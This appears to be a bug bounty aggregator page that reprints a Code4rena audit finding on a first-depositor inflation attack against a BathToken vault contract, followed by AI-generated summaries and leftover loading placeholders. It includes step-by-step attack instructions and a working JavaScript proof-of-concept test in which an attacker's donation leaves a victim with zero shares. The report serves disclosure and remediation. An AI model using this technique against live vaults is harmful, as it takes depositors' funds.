The first depositor can create a bath token with a tiny initial supply and then donate a large amount of underlying tokens, causing later depositors to receive zero shares. The attacker then holds the only share and can profit from others' deposits.
Submitted by MiloTruck, also found by cccz, oyc109, VAD37, PP1004, SmartSek, minhquanym, unforgiven, berndartmueller, WatchPug, CertoraInc, and sorrynotsorry_
The attack vector and impact is the same as TOB-YEARN-003, where users may not receive shares in exchange for their deposits if the total asset amount has been manipulated through a large “donation”.
Proof of Concept
In BathToken.sol:569-571, the allocation of shares is calculated as follows:
Attacker calls openBathTokenSpawnAndSignal() with initialLiquidityNew = 1, creating a new bath token with totalSupply = 1
Attacker transfers a large amount of underlying tokens to the bath token contract, such as 1000000
Using deposit(), a victim deposits an amount less than 1000000, such as 1000:
assets = 1000
(assets * totalSupply) / _pool = (1000 * 1) / 1000000 = 0.001, which would round down to 0
Thus, the victim receives no shares in return for his deposit
To avoid minting 0 shares, subsequent depositors have to deposit equal to or more than the amount transferred by the attacker. Otherwise, their deposits accrue to the attacker who holds the only share.
it("Victim receives 0 shares", async () => {
// 1. Attacker deposits 1 testCoin first when creating the liquidity pool
const initialLiquidityNew = 1;
const initialLiquidityExistingBathToken = ethers.utils.parseUnits("100", decimals);
// Approve DAI and testCoin for bathHouseInstance
await testCoin.approve(bathHouseInstance.address, initialLiquidityNew, {
from: attacker,
});
await DAIInstance.approve(
bathHouseInstance.address,
initialLiquidityExistingBathToken,
{ from: attacker }
);
// Call open creation function, attacker deposits only 1 testCoin
const desiredPairedAsset = await DAIInstance.address;
await bathHouseInstance.openBathTokenSpawnAndSignal(
await testCoin.address,
initialLiquidityNew,
desiredPairedAsset,
initialLiquidityExistingBathToken,
{ from: attacker }
);
// Retrieve resulting bathToken address
const newbathTokenAddress = await bathHouseInstance.getBathTokenfromAsset(testCoin.address);
const _newBathToken = await BathToken.at(newbathTokenAddress);
// 2. Attacker deposits large amount of testCoin into liquidity pool
let attackerAmt = ethers.utils.parseUnits("1000000", decimals);
await testCoin.approve(newbathTokenAddress, attackerAmt, {from: attacker});
await testCoin.transfer(newbathTokenAddress, attackerAmt, {from: attacker});
// 3. Victim deposits a smaller amount of testCoin, receives 0 shares
// In this case, we use (1 million - 1) testCoin
let victimAmt = ethers.utils.parseUnits("999999", decimals);
await testCoin.approve(newbathTokenAddress, victimAmt, {from: victim});
await _newBathToken.deposit(victimAmt, victim, {from: victim});
assert.equal(await _newBathToken.balanceOf(victim), 0);
});
Great issue, what do y’all think of this code snippet as a solution:
` /// @notice Deposit assets for the user and mint Bath Token shares to receiver function _deposit(uint256 assets, address receiver) internal returns (uint256 shares) { uint256 _pool = underlyingBalance(); uint256 _before = underlyingToken.balanceOf(address(this));
The original report as published on Code4rena, by MiloTruck. Images and videos are our own copies; raw HTML is shown as text. View it on Code4rena.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Generating the AI write-up for this report.
This usually takes about 30 seconds. You can read the original meanwhile; this page updates itself.
Writing the technical write-up
Writing the version for beginners
Checking every passage against the original
How it worked
Root cause
Likely the share calculation rounds down to zero when total supply is very small and the pool balance is large, and there is no check to prevent minting zero shares.
Impact
Victims may receive no shares for their deposits, and their funds accrue to the attacker who holds the only share.
What the attacker needed
Attacker can create a new bath token; Attacker has a large amount of underlying tokens; Victim deposits less than the attacker's donation
The fix
The fix should send the first minimum liquidity LP tokens to the zero address when totalSupply is zero and require that shares minted are non-zero.
How it was found
Attacker calls openBathTokenSpawnAndSignal with initialLiquidityNew = 1, creating a bath token with totalSupply = 1.
Attacker transfers a large amount of underlying tokens directly to the bath token contract.
Victim calls deposit with an amount smaller than the attacker's transfer.
The share calculation rounds down to zero, so the victim receives no shares.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Generating the AI write-up for this report.
This usually takes about 30 seconds. You can read the original meanwhile; this page updates itself.
Writing the technical write-up
Writing the version for beginners
Checking every passage against the original
When you deposit money into a shared pool, you get shares representing your portion. If the pool's total shares are very small and someone donates a huge amount directly to the pool, the maths for new deposits can round down to zero shares. This means your deposit gives you nothing, and the attacker who set it up gets your money.
What is Business logic?
The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.